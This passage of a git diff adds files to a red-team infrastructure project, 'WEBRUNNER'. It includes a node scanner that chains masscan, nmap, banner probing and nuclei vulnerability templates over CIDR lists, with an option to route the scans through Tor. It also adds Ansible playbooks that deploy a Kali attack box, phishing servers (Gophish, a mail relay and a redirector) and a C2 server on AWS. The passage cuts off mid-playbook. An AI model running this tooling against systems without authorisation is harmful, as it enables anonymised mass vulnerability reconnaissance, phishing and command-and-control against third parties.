+ + if cidr_map: + country_counts: dict[str, int] = {} + for entry in merged["results"]: + cc = entry.get("country", "") + country_counts[cc] = country_counts.get(cc, 0) + 1 + merged["country_summary"] = dict( + sorted(country_counts.items(), key=lambda x: x[1], reverse=True) + ) + + Path(args.output).write_text(json.dumps(merged, indent=2)) + + print(f"Merged {len(node_files)} node(s) โ€” {merged['total_results']} unique results") + for n in merged["nodes"]: + print(f" {n['node_name']}: {n['result_count']} results ({n['scan_mode']})") + + if cidr_map and merged.get("country_summary"): + print("\nVulnerable hosts by country:") + for cc, count in list(merged["country_summary"].items())[:20]: + label = cc if cc else "unknown" + print(f" {label:<6} {count}") + + +if __name__ == "__main__": + main() diff --git a/modules/webrunner/tasks/node_scanner.py b/modules/webrunner/tasks/node_scanner.py new file mode 100644 index 0000000..d2ec82a --- /dev/null +++ b/modules/webrunner/tasks/node_scanner.py @@ -0,0 +1,416 @@ +#!/usr/bin/env python3 +""" +WEBRUNNER node scanner โ€” runs on each cloud node. +Reads cidrs.txt, runs scan pipeline, writes results.json. +""" + +import argparse +import json +import os +import re +import subprocess +import sys +import time +import xml.etree.ElementTree as ET +from concurrent.futures import ThreadPoolExecutor, as_completed +from pathlib import Path + +WORKDIR = Path("/root/webrunner") +NMAP_WORKERS = int(os.environ.get("WEBRUNNER_NMAP_WORKERS", "10")) +NMAP_TIMING = int(os.environ.get("WEBRUNNER_NMAP_TIMING", "4")) +NMAP_TIMEOUT = int(os.environ.get("WEBRUNNER_NMAP_TIMEOUT", "60")) + + +def log(msg: str): + ts = time.strftime("%H:%M:%S") + print(f"[{ts}] {msg}", flush=True) + + +def run_masscan(ports: str, rate: int) -> list[dict]: + cidr_file = WORKDIR / "cidrs.txt" + out_file = WORKDIR / "masscan.json" + out_file.unlink(missing_ok=True) + + cmd = [ + "masscan", + f"--rate={rate}", + f"--ports={ports}", + "-iL", str(cidr_file), + "-oJ", str(out_file), + "--wait", "3", + ] + log(f"masscan starting: rate={rate} ports={ports}") + try: + subprocess.run(cmd, timeout=36000, check=False) + except subprocess.TimeoutExpired: + log("masscan timed out after 10h") + + if not out_file.exists(): + return [] + + raw = out_file.read_text(errors="replace").strip() + if not raw or raw == "[]": + return [] + raw = raw.rstrip(",\n") + if not raw.endswith("]"): + raw += "]" + if not raw.startswith("["): + raw = "[" + raw + try: + data = json.loads(raw) + except json.JSONDecodeError: + log("masscan JSON parse error") + return [] + + hits = [] + for entry in data: + ip = entry.get("ip") + for pe in entry.get("ports", []): + port = pe.get("port") + if ip and port: + hits.append({"ip": ip, "port": port}) + log(f"masscan found {len(hits)} open port/host pairs") + return hits + + +def group_hits_by_ip(hits: list[dict]) -> dict[str, list[int]]: + result: dict[str, list[int]] = {} + for h in hits: + result.setdefault(h["ip"], []).append(h["port"]) + return result + + +def run_nmap(ip: str, ports: list[int]) -> dict: + port_str = ",".join(str(p) for p in sorted(set(ports))) + out_file = WORKDIR / f"nmap_{ip.replace('.', '_')}.xml" + + cmd = [ + "nmap", "-sV", "--version-intensity", "5", + "-p", port_str, f"-T{NMAP_TIMING}", "--open", + "-oX", str(out_file), ip, + ] + try: + subprocess.run(cmd, capture_output=True, timeout=NMAP_TIMEOUT, check=False) + except (subprocess.TimeoutExpired, FileNotFoundError): + return {} + + if not out_file.exists(): + return {} + try: + tree = ET.parse(out_file) + except ET.ParseError: + return {} + + result = {} + for port_el in tree.findall(".//port"): + portid = int(port_el.get("portid", 0)) + state = port_el.find("state") + if state is None or state.get("state") != "open": + continue + svc = port_el.find("service") + info: dict = {} + if svc is not None: + info["service"] = svc.get("name", "") + info["product"] = svc.get("product", "") + info["version"] = svc.get("version", "") + info["banner"] = " ".join(filter(None, [ + svc.get("product", ""), svc.get("version", ""), svc.get("extrainfo", "") + ])) + result[portid] = info + return result + + +def probe_service(ip: str, port: int) -> str: + import socket + try: + with socket.create_connection((ip, port), timeout=3) as s: + s.settimeout(3) + try: + s.send(b"HEAD / HTTP/1.0\r\nHost: " + ip.encode() + b"\r\n\r\n") + banner = s.recv(512).decode(errors="replace").strip() + return banner[:200] + except Exception: + try: + banner = s.recv(512).decode(errors="replace").strip() + return banner[:200] + except Exception: + return "" + except Exception: + return "" + + +def scan_masscan_only(ports: str, rate: int, node_name: str) -> list[dict]: + hits = run_masscan(ports, rate) + results = [{"ip": h["ip"], "port": h["port"]} for h in hits] + return results + + +def scan_nmap_only(ports: str, node_name: str) -> list[dict]: + cidr_file = WORKDIR / "cidrs.txt" + cidrs = [l.strip() for l in cidr_file.read_text().splitlines() if l.strip()] + port_str = ports + out_file = WORKDIR / "nmap_sweep.xml" + + cmd = [ + "nmap", "-sV", "--version-intensity", "3", + "-p", port_str, "-T4", "--open", + "-oX", str(out_file), + ] + cidrs + + log(f"nmap starting across {len(cidrs)} CIDRs") + try: + subprocess.run(cmd, timeout=36000, check=False) + except subprocess.TimeoutExpired: + log("nmap timed out") + + if not out_file.exists(): + return [] + + results = [] + try: + tree = ET.parse(out_file) + except ET.ParseError: + return [] + + for host_el in tree.findall(".//host"): + addr_el = host_el.find("address[@addrtype='ipv4']") + if addr_el is None: + continue + ip = addr_el.get("addr", "") + for port_el in host_el.findall(".//port"): + state = port_el.find("state") + if state is None or state.get("state") != "open": + continue + portid = int(port_el.get("portid", 0)) + svc = port_el.find("service") + entry: dict = {"ip": ip, "port": portid} + if svc is not None: + entry["service"] = svc.get("name", "") + entry["banner"] = " ".join(filter(None, [ + svc.get("product", ""), svc.get("version", ""), svc.get("extrainfo", "") + ])) + results.append(entry) + + log(f"nmap found {len(results)} open ports") + return results + + +def scan_masscan_nmap(ports: str, rate: int, node_name: str) -> list[dict]: + hits = run_masscan(ports, rate) + if not hits: + return [] + + by_ip = group_hits_by_ip(hits) + log(f"nmap fingerprinting {len(by_ip)} hosts (workers={NMAP_WORKERS})...") + results = [] + done = 0 + with ThreadPoolExecutor(max_workers=NMAP_WORKERS) as pool: + futures = {pool.submit(run_nmap, ip, ip_ports): (ip, ip_ports) for ip, ip_ports in by_ip.items()} + for future in as_completed(futures): + ip, ip_ports = futures[future] + nmap_info = future.result() + for port in ip_ports: + entry: dict = {"ip": ip, "port": port} + if port in nmap_info: + entry.update(nmap_info[port]) + results.append(entry) + done += 1 + if done % 50 == 0: + log(f" nmap: {done}/{len(by_ip)} hosts done") + return results + + +def scan_geo_scout(ports: str, rate: int, node_name: str) -> list[dict]: + hits = run_masscan(ports, rate) + if not hits: + return [] + + by_ip = group_hits_by_ip(hits) + log(f"nmap + probe fingerprinting {len(by_ip)} hosts...") + + targets_file = WORKDIR / "targets.yaml" + target_ports: dict[int, dict] = {} + if targets_file.exists(): + try: + import yaml + with open(targets_file) as f: + tdata = yaml.safe_load(f) + for t in tdata.get("targets", []): + for p in t.get("ports", []): + target_ports[p] = t + except Exception: + pass + + def scan_one(ip: str, ip_ports: list[int]) -> list[dict]: + nmap_info = run_nmap(ip, ip_ports) + entries = [] + for port in ip_ports: + entry: dict = {"ip": ip, "port": port} + if port in nmap_info: + entry.update(nmap_info[port]) + banner = probe_service(ip, port) + if banner: + entry["probe_banner"] = banner + if port in target_ports: + t = target_ports[port] + entry["target_name"] = t.get("name", "") + entry["target_desc"] = t.get("description", "") + entries.append(entry) + return entries + + results = [] + done = 0 + with ThreadPoolExecutor(max_workers=NMAP_WORKERS) as pool: + futures = {pool.submit(scan_one, ip, ip_ports): ip for ip, ip_ports in by_ip.items()} + for future in as_completed(futures): + results.extend(future.result()) + done += 1 + if done % 50 == 0: + log(f" geo-scout: {done}/{len(by_ip)} hosts done") + return results + + +def run_nuclei(targets: list[str], template: str, rate: int, concurrency: int, timeout: int) -> list[dict]: + targets_file = WORKDIR / "nuclei_targets.txt" + targets_file.write_text("\n".join(targets) + "\n") + + out_file = WORKDIR / "nuclei_results.jsonl" + out_file.unlink(missing_ok=True) + + cmd = [ + "nuclei", + "-t", template, + "-l", str(targets_file), + "-rl", str(rate), + "-c", str(concurrency), + "-timeout", str(timeout), + "-j", + "-o", str(out_file), + "-silent", + "-no-color", + "-disable-update-check", + ] + + log(f"nuclei starting: template={template} targets={len(targets)} rate={rate} concurrency={concurrency}") + try: + subprocess.run(cmd, timeout=43200, check=False) + except subprocess.TimeoutExpired: + log("nuclei timed out after 12h") + + if not out_file.exists(): + return [] + + results = [] + for line in out_file.read_text(errors="replace").splitlines(): + line = line.strip() + if not line: + continue + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + + host = entry.get("host", "") + ip = entry.get("ip", "") + + if not ip and host: + raw = host.split("//")[-1].split("/")[0] + ip_part = raw.rsplit(":", 1)[0] if ":" in raw else raw + m = re.match(r"^(\d+\.\d+\.\d+\.\d+)$", ip_part) + ip = m.group(1) if m else ip_part + + port = 0 + matched_at = entry.get("matched-at", host) + raw_host = matched_at.split("//")[-1].split("/")[0] + if ":" in raw_host: + try: + port = int(raw_host.rsplit(":", 1)[1]) + except (ValueError, IndexError): + pass + + results.append({ + "ip": ip, + "port": port, + "template_id": entry.get("template-id", ""), + "vuln_name": entry.get("info", {}).get("name", ""), + "severity": entry.get("info", {}).get("severity", ""), + "matched_at": entry.get("matched-at", ""), + "vuln": True, + }) + + log(f"nuclei found {len(results)} vulnerable hosts/services") + return results + + +def scan_masscan_nuclei(ports: str, rate: int, template: str, nuclei_rate: int, nuclei_concurrency: int, nuclei_timeout: int, node_name: str) -> list[dict]: + if not template: + log("ERROR: --template required for masscan+nuclei mode") + return [] + + hits = run_masscan(ports, rate) + if not hits: + return [] + + targets = [f"{h['ip']}:{h['port']}" for h in hits] + log(f"nuclei scanning {len(targets)} ip:port targets from masscan...") + return run_nuclei(targets, template, nuclei_rate, nuclei_concurrency, nuclei_timeout) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--mode", required=True, + choices=["masscan-only", "nmap-only", "masscan+nmap", "geo-scout", "masscan+nuclei"]) + parser.add_argument("--ports", required=True) + parser.add_argument("--rate", type=int, default=3000) + parser.add_argument("--node-name", default="node") + parser.add_argument("--template", default="") + parser.add_argument("--nmap-timing", type=int, default=None, choices=[1, 2, 3, 4]) + parser.add_argument("--nmap-timeout", type=int, default=None) + parser.add_argument("--nmap-workers", type=int, default=None) + parser.add_argument("--nuclei-rate", type=int, default=150) + parser.add_argument("--nuclei-concurrency", type=int, default=25) + parser.add_argument("--nuclei-timeout", type=int, default=10) + args = parser.parse_args() + + global NMAP_WORKERS, NMAP_TIMING, NMAP_TIMEOUT + if args.nmap_workers is not None: + NMAP_WORKERS = args.nmap_workers + if args.nmap_timing is not None: + NMAP_TIMING = args.nmap_timing + if args.nmap_timeout is not None: + NMAP_TIMEOUT = args.nmap_timeout + + log(f"WEBRUNNER node scanner starting โ€” mode={args.mode} node={args.node_name}") + + if args.mode == "masscan-only": + results = scan_masscan_only(args.ports, args.rate, args.node_name) + elif args.mode == "nmap-only": + results = scan_nmap_only(args.ports, args.node_name) + elif args.mode == "masscan+nmap": + results = scan_masscan_nmap(args.ports, args.rate, args.node_name) + elif args.mode == "geo-scout": + results = scan_geo_scout(args.ports, args.rate, args.node_name) + elif args.mode == "masscan+nuclei": + results = scan_masscan_nuclei( + args.ports, args.rate, args.template, + args.nuclei_rate, args.nuclei_concurrency, args.nuclei_timeout, + args.node_name, + ) + else: + log(f"Unknown mode: {args.mode}") + sys.exit(1) + + out = { + "node_name": args.node_name, + "scan_mode": args.mode, + "result_count": len(results), + "results": results, + } + + out_file = WORKDIR / "results.json" + out_file.write_text(json.dumps(out, indent=2)) + log(f"Done โ€” {len(results)} results written to {out_file}") + + +if __name__ == "__main__": + main() diff --git a/modules/webrunner/tasks/run_scan.yml b/modules/webrunner/tasks/run_scan.yml new file mode 100644 index 0000000..520c591 --- /dev/null +++ b/modules/webrunner/tasks/run_scan.yml @@ -0,0 +1,88 @@ +--- +# Run the assigned scan on this WEBRUNNER node +# Per-node vars: node_name, node_cidrs, node_ip_count, node_idx +# Global vars (from extra-vars): scan_mode, ports_str, masscan_rate, webrunner_name, deployment_id, use_tor + +- name: Write CIDR list for {{ node_name }} + copy: + content: "{{ node_cidrs | join('\n') }}\n" + dest: /root/webrunner/cidrs.txt + mode: '0644' + +- name: Run scan on {{ node_name }} ({{ node_ip_count }} IPs, mode={{ scan_mode }}) + command: + argv: + - python3 + - /root/webrunner/node_scanner.py + - --mode + - "{{ scan_mode }}" + - --ports + - "{{ ports_str }}" + - --rate + - "{{ masscan_rate }}" + - --node-name + - "{{ node_name }}" + - --nmap-timing + - "{{ nmap_timing | default(4) }}" + - --nmap-timeout + - "{{ nmap_timeout | default(60) }}" + - --nmap-workers + - "{{ nmap_workers | default(10) }}" + - --nuclei-rate + - "{{ nuclei_rate | default(150) }}" + - --nuclei-concurrency + - "{{ nuclei_concurrency | default(25) }}" + - --nuclei-timeout + - "{{ nuclei_timeout | default(10) }}" + - --template + - "{{ nuclei_template_remote | default('') }}" + args: + chdir: /root/webrunner + register: scan_output + async: 43200 + poll: 60 + ignore_errors: true + when: not (use_tor | default(false) | bool) + +- name: Run scan via Tor on {{ node_name }} ({{ node_ip_count }} IPs, mode={{ scan_mode }}) + command: + argv: + - proxychains4 + - -f + - /etc/proxychains4.conf + - python3 + - /root/webrunner/node_scanner.py + - --mode + - "{{ scan_mode }}" + - --ports + - "{{ ports_str }}" + - --rate + - "{{ masscan_rate }}" + - --node-name + - "{{ node_name }}" + - --nmap-timing + - "{{ nmap_timing | default(4) }}" + - --nmap-timeout + - "{{ nmap_timeout | default(60) }}" + - --nmap-workers + - "{{ nmap_workers | default(10) }}" + - --nuclei-rate + - "{{ nuclei_rate | default(150) }}" + - --nuclei-concurrency + - "{{ nuclei_concurrency | default(25) }}" + - --nuclei-timeout + - "{{ nuclei_timeout | default(10) }}" + - --template + - "{{ nuclei_template_remote | default('') }}" + args: + chdir: /root/webrunner + register: scan_output + async: 43200 + poll: 60 + ignore_errors: true + when: use_tor | default(false) | bool + +- name: Show scan output for {{ node_name }} + debug: + var: scan_output.stdout_lines + when: scan_output.stdout_lines is defined diff --git a/providers/AWS/AMI-ID-Grabber.sh b/providers/AWS/AMI-ID-Grabber.sh new file mode 100755 index 0000000..a4e268e --- /dev/null +++ b/providers/AWS/AMI-ID-Grabber.sh @@ -0,0 +1,143 @@ +#!/bin/bash + +# Default configurations +DEFAULT_IMAGE_FILTER="*kali-last-snapshot*" +DEFAULT_OWNER_ID="679593333241" +DEFAULT_REGION="us-east-1" + +# Debugging flag +DEBUG=false + +# Usage function +function usage() { + echo "Usage: $0 [--image-filter ] [--owner-id ] [--debug] [--help]" + echo "" + echo "Options:" + echo " --image-filter Filter for AMI names (default: '${DEFAULT_IMAGE_FILTER}')." + echo " --owner-id Owner ID for filtering AMIs (default: '${DEFAULT_OWNER_ID}')." + echo " --debug Enable verbose debugging." + echo " --help Display this help message." + exit 1 +} + +# Parse arguments +IMAGE_FILTER="$DEFAULT_IMAGE_FILTER" +OWNER_ID="$DEFAULT_OWNER_ID" + +while [[ $# -gt 0 ]]; do + case $1 in + --image-filter) + IMAGE_FILTER="$2" + shift 2 + ;; + --owner-id) + OWNER_ID="$2" + shift 2 + ;; + --debug) + DEBUG=true + shift + ;; + --help) + usage + ;; + *) + echo "Unknown option: $1" + usage + ;; + esac +done + +if $DEBUG; then + echo "DEBUG: Using image filter: $IMAGE_FILTER" + echo "DEBUG: Using owner ID: $OWNER_ID" +fi + +# Step 1: Fetch all AMIs in the default region to identify the latest version +LATEST_AMI="" +LATEST_YEAR=0 +LATEST_VERSION=0 + +AMI_LIST=$(aws ec2 describe-images \ + --region "$DEFAULT_REGION" \ + --filters "Name=name,Values=$IMAGE_FILTER" "Name=owner-id,Values=$OWNER_ID" \ + --query "Images[].[Name]" \ + --output text) + +if $DEBUG; then + echo "DEBUG: AMI list in $DEFAULT_REGION: $AMI_LIST" +fi + +for AMI_NAME in $AMI_LIST; do + if [[ $AMI_NAME != *"-prod-"* ]]; then + # Extract year and version using regex + if [[ $AMI_NAME =~ ([0-9]{4})\.([0-9]+)\.([0-9]+) ]]; then + YEAR=${BASH_REMATCH[1]} + VERSION=${BASH_REMATCH[2]} + + if $DEBUG; then + echo "DEBUG: Checking AMI: $AMI_NAME (Year: $YEAR, Version: $VERSION)" + fi + + if (( YEAR > LATEST_YEAR )) || (( YEAR == LATEST_YEAR && VERSION > LATEST_VERSION )); then + LATEST_AMI="$AMI_NAME" + LATEST_YEAR=$YEAR + LATEST_VERSION=$VERSION + fi + fi + fi +done + +if $DEBUG; then + echo "DEBUG: Latest AMI determined: $LATEST_AMI" +fi + +# Step 2: Use the latest AMI name to filter across all regions +if [[ -z "$LATEST_AMI" ]]; then + echo "No valid AMIs found matching the criteria." + exit 1 +fi + +IMAGE_FILTER_LATEST="${LATEST_AMI%-*}*" # Strip the region-specific suffix and add a wildcard + +if $DEBUG; then + echo "DEBUG: Using refined image filter: $IMAGE_FILTER_LATEST" +fi + +# Step 3: Fetch AMIs across all regions +REGIONS=$(aws ec2 describe-regions --query "Regions[].RegionName" --output text) + +echo "Fetching AMIs with filter '$IMAGE_FILTER_LATEST' and owner ID '$OWNER_ID'..." + +AMI_MAP="" +REGION_LIST=() + +for REGION in $REGIONS; do + if $DEBUG; then + echo "DEBUG: Querying region: $REGION" + fi + + AMI_INFO=$(aws ec2 describe-images \ + --region "$REGION" \ + --filters "Name=name,Values=$IMAGE_FILTER_LATEST" "Name=owner-id,Values=$OWNER_ID" \ + --query "Images[].[Name,ImageId]" \ + --output text) + + if [[ -n "$AMI_INFO" ]]; then + while read -r NAME AMI_ID; do + echo "$NAME" + echo " $REGION: $AMI_ID" + REGION_LIST+=("$REGION") + AMI_MAP+="$REGION: $AMI_ID"$'\n' + done <<< "$AMI_INFO" + fi +done + +# Step 4: Generate YAML +YAML_OUTPUT="aws_region_choices:\n" +for REGION in "${REGION_LIST[@]}"; do + YAML_OUTPUT+=" - $REGION\n" +done +YAML_OUTPUT+="ami_map:\n$AMI_MAP" + +echo -e "\nGenerated YAML:\n$YAML_OUTPUT" diff --git a/providers/AWS/attack_box.yml b/providers/AWS/attack_box.yml new file mode 100644 index 0000000..c7c6912 --- /dev/null +++ b/providers/AWS/attack_box.yml @@ -0,0 +1,171 @@ +--- +# AWS Attack Box Deployment Playbook +# Based on attk-box-setup but optimized for AWS deployment + +- name: Deploy Attack Box on AWS + hosts: localhost + connection: local + gather_facts: false + vars_files: + - vars.yaml + vars: + ansible_python_interpreter: "{{ ansible_playbook_python }}" + deployment_type: "attack_box" + attack_box_name: "{{ attack_box_name | default('a-' + deployment_id) }}" + attack_box_type: "{{ attack_box_type | default('kali') }}" + aws_region: "{{ aws_region | default(aws_region_choices | random) }}" + instance_type: "{{ aws_instance_type | default('t2.medium') }}" + ssh_key_name: "attack-box-{{ deployment_id }}" + + # Attack box AMI mapping (use Kali Linux AMIs) + attack_box_ami_map: + us-east-1: "{{ kali_ami_map['us-east-1'] | default('ami-061b17d332829ab1c') }}" + us-east-2: "{{ kali_ami_map['us-east-2'] | default('ami-061b17d332829ab1c') }}" + us-west-1: "{{ kali_ami_map['us-west-1'] | default('ami-061b17d332829ab1c') }}" + us-west-2: "{{ kali_ami_map['us-west-2'] | default('ami-061b17d332829ab1c') }}" + + tasks: + - name: Validate AWS credentials + assert: + that: + - aws_access_key is defined and aws_access_key != "" + - aws_secret_key is defined and aws_secret_key != "" + fail_msg: "AWS credentials are required" + + - name: Debug attack box deployment + debug: + msg: "Deploying {{ attack_box_type }} attack box on AWS in {{ aws_region }}" + + - name: Set attack box AMI + set_fact: + attack_box_ami: "{{ attack_box_ami_map[aws_region] | default(attack_box_ami_map['us-east-1']) }}" + + - name: Generate SSH key pair for attack box + ec2_key: + name: "{{ ssh_key_name }}" + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + state: present + register: ec2_key_result + + - name: Save private key locally + copy: + content: "{{ ec2_key_result.key.private_key }}" + dest: "~/.ssh/{{ ssh_key_name }}" + mode: '0600' + when: ec2_key_result.key.private_key is defined + + - name: Create security group for attack box + ec2_group: + name: "attack-box-sg-{{ deployment_id }}" + description: "Security group for attack box {{ deployment_id }}" + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + rules: + - proto: tcp + ports: + - 22 + cidr_ip: "{{ operator_ip | default('0.0.0.0/0') }}/32" + rule_desc: "SSH access from operator IP" + - proto: tcp + ports: + - 80 + - 443 + cidr_ip: 0.0.0.0/0 + rule_desc: "HTTP/HTTPS for tools" + rules_egress: + - proto: all + cidr_ip: 0.0.0.0/0 + tags: + Name: "attack-box-sg-{{ deployment_id }}" + DeploymentID: "{{ deployment_id }}" + Type: "attack-box" + register: security_group + + - name: Launch attack box EC2 instance + ec2: + key_name: "{{ ssh_key_name }}" + group: "{{ security_group.group_name }}" + instance_type: "{{ instance_type }}" + image: "{{ attack_box_ami }}" + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + wait: true + count: 1 + instance_tags: + Name: "{{ attack_box_name }}" + DeploymentID: "{{ deployment_id }}" + Type: "attack-box" + Environment: "{{ attack_box_type }}" + user_data: | + #!/bin/bash + # Update system + apt-get update + apt-get upgrade -y + + # Install additional tools if needed + {% if attack_box_type == 'kali' %} + # Kali already has most tools + apt-get install -y nmap curl wget git + {% else %} + # Install basic pentest tools for other distros + apt-get install -y nmap curl wget git python3-pip + {% endif %} + + # Set hostname + echo "{{ attack_box_name }}" > /etc/hostname + hostname "{{ attack_box_name }}" + + # Create deployment info + mkdir -p /root/deployment-info + cat > /root/deployment-info/info.txt << EOF + Deployment ID: {{ deployment_id }} + Attack Box Name: {{ attack_box_name }} + Attack Box Type: {{ attack_box_type }} + Region: {{ aws_region }} + Instance Type: {{ instance_type }} + SSH Key: {{ ssh_key_name }} + EOF + + register: ec2_result + + - name: Wait for SSH to be available + wait_for: + host: "{{ ec2_result.instances[0].public_ip }}" + port: 22 + delay: 60 + timeout: 300 + + - name: Display attack box information + debug: + msg: + - "Attack box deployed successfully!" + - "Instance ID: {{ ec2_result.instances[0].id }}" + - "Public IP: {{ ec2_result.instances[0].public_ip }}" + - "Private IP: {{ ec2_result.instances[0].private_ip }}" + - "SSH Command: ssh -i ~/.ssh/{{ ssh_key_name }} root@{{ ec2_result.instances[0].public_ip }}" + + - name: Save deployment information + copy: + content: | + # Attack Box Deployment Information + Instance ID: {{ ec2_result.instances[0].id }} + Public IP: {{ ec2_result.instances[0].public_ip }} + Private IP: {{ ec2_result.instances[0].private_ip }} + SSH Key: ~/.ssh/{{ ssh_key_name }} + SSH Command: ssh -i ~/.ssh/{{ ssh_key_name }} root@{{ ec2_result.instances[0].public_ip }} + Region: {{ aws_region }} + Instance Type: {{ instance_type }} + AMI: {{ attack_box_ami }} + Security Group: {{ security_group.group_name }} + dest: "logs/attack_box_{{ deployment_id }}_info.txt" + + - name: Set attack box facts for other playbooks + set_fact: + attack_box_instance_id: "{{ ec2_result.instances[0].id }}" + attack_box_public_ip: "{{ ec2_result.instances[0].public_ip }}" + attack_box_private_ip: "{{ ec2_result.instances[0].private_ip }}" + attack_box_security_group: "{{ security_group.group_name }}" diff --git a/providers/AWS/aws_phishing.yml b/providers/AWS/aws_phishing.yml new file mode 100644 index 0000000..05cd6fa --- /dev/null +++ b/providers/AWS/aws_phishing.yml @@ -0,0 +1,63 @@ +--- +# AWS-specific phishing infrastructure tasks + +- name: Set AWS-specific variables + set_fact: + region: "{{ aws_region | default('us-east-1') }}" + instance_type_map: + gophish: "{{ gophish_instance_type | default('t3.large') }}" + mta_front: "{{ mta_instance_type | default('t3.medium') }}" + redirector: "{{ redirector_instance_type | default('t3.small') }}" + webserver: "{{ webserver_instance_type | default('t3.medium') }}" + +- name: Create security group for phishing infrastructure + debug: + msg: "Would create security group: phishing-{{ deployment_id }}" + +- name: Deploy Gophish server + debug: + msg: | + Would deploy Gophish server: + - Instance type: {{ instance_type_map.gophish }} + - Region: {{ region }} + - Name: gophish-{{ deployment_id }} + - Framework: gophish + when: "'gophish' in deployment_components" + +- name: Deploy MTA Front server + debug: + msg: | + Would deploy MTA Front server: + - Instance type: {{ instance_type_map.mta_front }} + - Region: {{ region }} + - Name: mta-{{ deployment_id }} + - Hostname: {{ mta_hostname | default('mail.' + (phishing_domain | default(domain))) }} + when: "'mta_front' in deployment_components" + +- name: Deploy Phishing Redirector + debug: + msg: | + Would deploy Phishing Redirector: + - Instance type: {{ instance_type_map.redirector }} + - Region: {{ region }} + - Name: redirector-{{ deployment_id }} + when: "'redirector' in deployment_components" + +- name: Deploy Phishing Webserver + debug: + msg: | + Would deploy Phishing Webserver: + - Instance type: {{ instance_type_map.webserver }} + - Region: {{ region }} + - Name: web-{{ deployment_id }} + when: "'webserver' in deployment_components" + +- name: Set deployment results + set_fact: + phishing_deployment_results: + gophish_ip: "{{ '192.168.1.10' if 'gophish' in deployment_components else '' }}" + mta_ip: "{{ '192.168.1.11' if 'mta_front' in deployment_components else '' }}" + redirector_ip: "{{ '192.168.1.12' if 'redirector' in deployment_components else '' }}" + webserver_ip: "{{ '192.168.1.13' if 'webserver' in deployment_components else '' }}" + deployment_id: "{{ deployment_id }}" + domain: "{{ phishing_domain | default(domain) }}" diff --git a/providers/AWS/c2-vars-template.yaml b/providers/AWS/c2-vars-template.yaml new file mode 100644 index 0000000..43660a8 --- /dev/null +++ b/providers/AWS/c2-vars-template.yaml @@ -0,0 +1,45 @@ +aws_access_key: "YOUR_AWS_ACCESS_KEY" # Your AWS access key +aws_secret_key: "YOUR_AWS_SECRET_KEY" # Your AWS secret key +aws_region_choices: + - ap-south-1 + - eu-north-1 + - eu-west-3 + - eu-west-2 + - eu-west-1 + - ap-northeast-3 + - ap-northeast-2 + - ap-northeast-1 + - ca-central-1 + - sa-east-1 + - ap-southeast-1 + - ap-southeast-2 + - eu-central-1 + - us-east-1 + - us-east-2 + - us-west-1 + - us-west-2 +ami_map: + ap-south-1: ami-0eeeb93aa51c48595 + eu-north-1: ami-05bb943edc7d12d2f + eu-west-3: ami-01c1cbe631d766dcd + eu-west-2: ami-0a9aba19a0b8e81da + eu-west-1: ami-05b908c468c3a5373 + ap-northeast-3: ami-03809b00a4487dc46 + ap-northeast-2: ami-048f3574b7d304c04 + ap-northeast-1: ami-0b74305a62f8299e1 + ca-central-1: ami-0415ef7b9c3019285 + sa-east-1: ami-0ab7401488d50bf51 + ap-southeast-1: ami-0d2d12d390e9c0a34 + ap-southeast-2: ami-0bd344ea1f492feab + eu-central-1: ami-093d1ceb3279619b0 + us-east-1: ami-061b17d332829ab1c + us-east-2: ami-0327cf1c5e479e093 + us-west-1: ami-0fbe3a8e1dcd86f23 + us-west-2: ami-030d7e8d6fbca8332 +aws_instance_type: "t2.medium" # EC2 instance type +domain: "example.com" +mail_hostname: "mail.example.com" +letsencrypt_email: "admin@example.com" +smtp_auth_user: "phishuser" +smtp_auth_pass: "SuperSecretPass123!" +gophish_admin_port: "2222" \ No newline at end of file diff --git a/providers/AWS/c2.yml b/providers/AWS/c2.yml new file mode 100644 index 0000000..a394a8a --- /dev/null +++ b/providers/AWS/c2.yml @@ -0,0 +1,518 @@ +--- +# AWS C2 Server Deployment Playbook + +- name: Deploy AWS C2 server + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Default values + ssh_user: "{{ ssh_user | default('kali') }}" + aws_region: "{{ aws_region | default(aws_region_choices | random) }}" + instance_type: "{{ aws_instance_type | default('t2.medium') }}" + deployment_id: "{{ deployment_id | default('') }}" + c2_name: "{{ c2_name | default('s-' + deployment_id) }}" + # Define split_regions - only true when regions are explicitly different + split_regions: "{{ c2_region is defined and redirector_region is defined and c2_region != redirector_region }}" + # Only use shared infra when NOT doing split-region deployment + use_shared_infra: "{{ not split_regions and not c2_only | default(false) | bool and not redirector_only | default(false) | bool }}" + # Set correct region variable + aws_c2_region: "{{ c2_region | default(aws_region) }}" + # AMI map comes from vars.yaml - add fallback for safety + kali_ami_map_fallback: + us-east-1: "ami-061b17d332829ab1c" + us-east-2: "ami-061b17d332829ab1c" # Fallback to us-east-1 AMI + + tasks: + - name: Validate AWS credentials + assert: + that: + - aws_access_key is defined and aws_access_key != "" + - aws_secret_key is defined and aws_secret_key != "" + fail_msg: "AWS credentials are required" + + # Load shared infrastructure state if available + - name: Check for shared infrastructure state + stat: + path: "infrastructure_state_{{ deployment_id }}.json" + register: infra_state_file + when: use_shared_infra | bool + + - name: Load shared infrastructure state + include_vars: + file: "infrastructure_state_{{ deployment_id }}.json" + name: shared_infra + when: use_shared_infra | bool and infra_state_file.stat.exists | default(false) + + - name: Set region for C2 + set_fact: + aws_c2_region: "{{ shared_infra.region | default(aws_region) }}" + when: use_shared_infra | bool and infra_state_file.stat.exists | default(false) + + - name: Set default region for C2 + set_fact: + aws_c2_region: "{{ c2_region | default(aws_region) }}" + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Check if ami_map is provided in vars.yaml + debug: + msg: "ami_map is {{ 'defined' if ami_map is defined else 'NOT defined' }} in vars.yaml" + + - name: Set AMI ID for selected region (from vars.yaml) + set_fact: + ami_id: "{{ ami_map[aws_c2_region] | default(ami_map.us-east-1) }}" + when: ami_map is defined and ami_map + + - name: Set AMI ID for selected region (fallback) + set_fact: + ami_id: "{{ kali_ami_map_fallback[aws_c2_region] | default(kali_ami_map_fallback['us-east-1']) }}" + when: ami_id is not defined or ami_id == "" + + - name: Ensure we have a valid AMI ID + assert: + that: + - ami_id is defined and ami_id != "" + fail_msg: "Could not determine a valid AMI ID for region {{ aws_c2_region }}. Please add it to ami_map in vars.yaml." + + # Add 